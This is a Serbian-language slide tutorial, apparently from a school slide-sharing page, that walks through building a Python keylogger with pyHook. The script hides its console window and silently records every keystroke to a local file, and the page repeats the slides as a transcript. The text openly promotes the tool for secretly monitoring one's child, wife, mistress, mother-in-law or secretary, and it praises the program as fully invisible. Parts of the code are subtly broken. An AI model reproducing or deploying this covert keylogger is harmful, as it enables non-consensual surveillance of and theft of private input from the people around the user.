1/5


                         Osnovni primer
                         KeyLogging-a
                           u Pyton-u

Pokušćemo da Vam dočaramo samo delić onoga što sa moćnim programskim
jezicima možete da učinite.
Da li ste ikada pomislili da Vam ukućani u vašem odsustvu diraju personalni
računar ili čitaju privatne poruke, kradu Vašu intimu….?!!!


                        Tome je sada kraj!!!
- Par reči o KeyLoggingu.

KeyLogging je akcija praćenja i čuvanja redosleda unetih karaktera sa tastature.
U običajenom prikrivenom režimu, tako da je osoba koja koristi tastaturu
nesvesna da je špijunirana. Postoji više načina nadzora nečije tastature a
najstriktnija podela bi bila na hardware osnove i software osnove.

KeyLogger koji radi na hardware principu je minijaturni aparat koji se priključi
na kabl tastature i u sopstvenoj memoriji presreće i zapisuje podatke koje
korisnik unosi. Ovaj metod se slabo primenjuje u praksi, zbog lake uočljivosti
uređaja na kablu.
2/5


Software keyloggeri, su vrsta software (programa), koja “virtuelno” presreće
podatke, zapisuje ih i na njima izvodi dodatne potrebne operacije (pamti, kopira,
skladišti, briše). Ovaj program je superiorniji u odnosu na svog hardware brata
blizanca zbog teže detekcije.
Savršena aplikacija za praćenje virtuelnih aktivnosti Vašeg deteta, žene,
ljubavnice, tašte, sekretarice i svih drugi interesantnih osoba…




U narednom delu saznaćete kako možete kreirati sopstvenu KeyLogger
aplikaciju.

Aplikaciju ćemo kreirati u Python programskom jeziku. Neophodno je preuzeti
Python kompajler. U ovom slučaju sve neophodne uslove za kreiranje ove
aplikacije obezbedićemo Vam mi.

   • Pyton 2.6.2
   • Pywin32-214.win32-py2.6
   • pyHook-1.5.1.win32-py2.6

Ovim redosledom morate da instalirate aplikacije.
3/5


Nakon uspešne instalacije započećemo kreiranje.
Iz start menija izabraćemo Python 2.6 -> IDLE (Pyton GUI). Iz meni bara
izaberemo File -> New Window. Sada iskucavamo kod.

import   win32api
import   win32console
import   win32gui
import   pythoncom, pyHook
import   os.path
import   os

win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win, 0)

exist = os.path.isfile("text.txt")
if bool(exist) == False:
 textfile = file('text.txt','wt')


def OnKeyboardEvent(event):


    if event.Ascii==5:
        os.system('taskkill /im Python.exe /f')
        _exit(1)
    if event.Ascii != 0 or 8:
        f=open('text.txt','r')
        buffer=f.read()
        f.close()
        f=open('text.txt','w')
        keylogs=chr(event.Ascii)
        if event.Ascii==13:
            keylogs='/n'
        buffer+=keylogs
        f.write(buffer)
        f.close()
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()

Sledi screenshoot sa detaljnim obrazloženjem svake linije koda.
4/5




Nakon toga aplikaciju snimiti. File -> SaveAs -> ImePrograma.py
                      OBAVEZNA JE EKSTENZIJA!

Pošto ste uspešno kreirali aplikaciju, pokrenite je duplim klikom. Svi zapisi biće
smeštene u fajlu “text.txt”. Aplikacija prestaje sa radom kada pritisnete tastre
CTRL+E.
5/5


                         Zaključak
Ovaj program Vam omugućava uvid u korišćenje računara. Program je potupno
nevidljiv i to je njegova prednost. Iako se keylogeri nalaze na samom vrhu liste
softvera hakera, nadamo se da Vam je ova kratka lekcija pokazala da keyloger
može zapravo biti i vrlo korisno oružje za borbu protiv zloupotrebe interneta i
kontrole u sopstvenoj okolini.
Pouka: "Nije sve tako crno kao što izgleda..."



                              Literatura
   •   www.google.com
   •   www.youtube.com
   •   www.wikipedia.com
   •   www.python.org

More Related Content

PPTX
Osnove programiranja u Pythonu
PPTX
Uvod u programiranje i programski jezik Python
PPTX
Python - osnove
PPT
Racunarski sistem bojana i dunja
DOCX
Softver racunara
PDF
X profesor
PPT
Hardware- Dušan Anđelković- Aleksinac
Osnove programiranja u Pythonu
Uvod u programiranje i programski jezik Python
Python - osnove
Racunarski sistem bojana i dunja
Softver racunara
X profesor
Hardware- Dušan Anđelković- Aleksinac

Similar to Osnovni primer keylogginga u Python-u - Dimitrije Janković - Dragan Ilić (6)

DOCX
Rac seminar
PPSX
osnova racunarskog sistema
PDF
Informatika teorija
PPT
Aplikativni programi
DOC
Komponente hardvera PC-a
PPTX
programska_podrška_računara.pptx
Rac seminar
osnova racunarskog sistema
Informatika teorija
Aplikativni programi
Komponente hardvera PC-a
programska_podrška_računara.pptx
Ad

More from NašaŠkola.Net (20)

PDF
Sremac 2018 p1_raspored_casova_odeljenja_180917
DOCX
R3 t9 z73
DOCX
R3 t9 z71
DOCX
R3 T 8.2 Ciklusi sa uslovom - Zadatak 62
PDF
Dan škole 2016 - Program proslave godišnjice
DOC
CV_Dragan_Ilic_160320
PDF
PDIS pismo podrske 2016-03-24
PDF
Takmicenje Dabar 2016 - Satnica Nis
PPS
Razvionica 2014 Bezbedan internet
PPT
Razvionica Bezbedan Internet 2014
PPT
R4 01 BP Access Unos podataka
PPS
Nasa skola 2011: Baze podataka - Stefan Nikolic -Silvana Ivkovic
PPS
Solidarnost
PPT
Fv primena obrazovnih_standarda_130225
DOC
Наставни план и програм 2012 - Рачунарство и информатика - 2. разред
DOC
Наставни план и програм 2012 - Рачунарство и информатика - 1. разред
DOC
Наставни план и програм 2012 - Рачунарство и информатика - 4. разред
DOC
Nastavni plan i program za gimnaziju - Računarstvo i informatika
PDF
Nastavni plan i program za gimnaziju - Računarstvo i informatika (PDF)
DOC
Рачунарство и информатика - Глобални наставни план за 3. разред гиманазије
Sremac 2018 p1_raspored_casova_odeljenja_180917
R3 t9 z73
R3 t9 z71
R3 T 8.2 Ciklusi sa uslovom - Zadatak 62
Dan škole 2016 - Program proslave godišnjice
CV_Dragan_Ilic_160320
PDIS pismo podrske 2016-03-24
Takmicenje Dabar 2016 - Satnica Nis
Razvionica 2014 Bezbedan internet
Razvionica Bezbedan Internet 2014
R4 01 BP Access Unos podataka
Nasa skola 2011: Baze podataka - Stefan Nikolic -Silvana Ivkovic
Solidarnost
Fv primena obrazovnih_standarda_130225
Наставни план и програм 2012 - Рачунарство и информатика - 2. разред
Наставни план и програм 2012 - Рачунарство и информатика - 1. разред
Наставни план и програм 2012 - Рачунарство и информатика - 4. разред
Nastavni plan i program za gimnaziju - Računarstvo i informatika
Nastavni plan i program za gimnaziju - Računarstvo i informatika (PDF)
Рачунарство и информатика - Глобални наставни план за 3. разред гиманазије
Ad

Osnovni primer keylogginga u Python-u - Dimitrije Janković - Dragan Ilić

  • 1. 1/5 Osnovni primer KeyLogging-a u Pyton-u Pokušćemo da Vam dočaramo samo delić onoga što sa moćnim programskim jezicima možete da učinite. Da li ste ikada pomislili da Vam ukućani u vašem odsustvu diraju personalni računar ili čitaju privatne poruke, kradu Vašu intimu….?!!! Tome je sada kraj!!! - Par reči o KeyLoggingu. KeyLogging je akcija praćenja i čuvanja redosleda unetih karaktera sa tastature. U običajenom prikrivenom režimu, tako da je osoba koja koristi tastaturu nesvesna da je špijunirana. Postoji više načina nadzora nečije tastature a najstriktnija podela bi bila na hardware osnove i software osnove. KeyLogger koji radi na hardware principu je minijaturni aparat koji se priključi na kabl tastature i u sopstvenoj memoriji presreće i zapisuje podatke koje korisnik unosi. Ovaj metod se slabo primenjuje u praksi, zbog lake uočljivosti uređaja na kablu.
  • 2. 2/5 Software keyloggeri, su vrsta software (programa), koja “virtuelno” presreće podatke, zapisuje ih i na njima izvodi dodatne potrebne operacije (pamti, kopira, skladišti, briše). Ovaj program je superiorniji u odnosu na svog hardware brata blizanca zbog teže detekcije. Savršena aplikacija za praćenje virtuelnih aktivnosti Vašeg deteta, žene, ljubavnice, tašte, sekretarice i svih drugi interesantnih osoba… U narednom delu saznaćete kako možete kreirati sopstvenu KeyLogger aplikaciju. Aplikaciju ćemo kreirati u Python programskom jeziku. Neophodno je preuzeti Python kompajler. U ovom slučaju sve neophodne uslove za kreiranje ove aplikacije obezbedićemo Vam mi. • Pyton 2.6.2 • Pywin32-214.win32-py2.6 • pyHook-1.5.1.win32-py2.6 Ovim redosledom morate da instalirate aplikacije.
  • 3. 3/5 Nakon uspešne instalacije započećemo kreiranje. Iz start menija izabraćemo Python 2.6 -> IDLE (Pyton GUI). Iz meni bara izaberemo File -> New Window. Sada iskucavamo kod. import win32api import win32console import win32gui import pythoncom, pyHook import os.path import os win = win32console.GetConsoleWindow() win32gui.ShowWindow(win, 0) exist = os.path.isfile("text.txt") if bool(exist) == False: textfile = file('text.txt','wt') def OnKeyboardEvent(event): if event.Ascii==5: os.system('taskkill /im Python.exe /f') _exit(1) if event.Ascii != 0 or 8: f=open('text.txt','r') buffer=f.read() f.close() f=open('text.txt','w') keylogs=chr(event.Ascii) if event.Ascii==13: keylogs='/n' buffer+=keylogs f.write(buffer) f.close() hm = pyHook.HookManager() hm.KeyDown = OnKeyboardEvent hm.HookKeyboard() pythoncom.PumpMessages() Sledi screenshoot sa detaljnim obrazloženjem svake linije koda.
  • 4. 4/5 Nakon toga aplikaciju snimiti. File -> SaveAs -> ImePrograma.py OBAVEZNA JE EKSTENZIJA! Pošto ste uspešno kreirali aplikaciju, pokrenite je duplim klikom. Svi zapisi biće smeštene u fajlu “text.txt”. Aplikacija prestaje sa radom kada pritisnete tastre CTRL+E.
  • 5. 5/5 Zaključak Ovaj program Vam omugućava uvid u korišćenje računara. Program je potupno nevidljiv i to je njegova prednost. Iako se keylogeri nalaze na samom vrhu liste softvera hakera, nadamo se da Vam je ova kratka lekcija pokazala da keyloger može zapravo biti i vrlo korisno oružje za borbu protiv zloupotrebe interneta i kontrole u sopstvenoj okolini. Pouka: "Nije sve tako crno kao što izgleda..." Literatura • www.google.com • www.youtube.com • www.wikipedia.com • www.python.org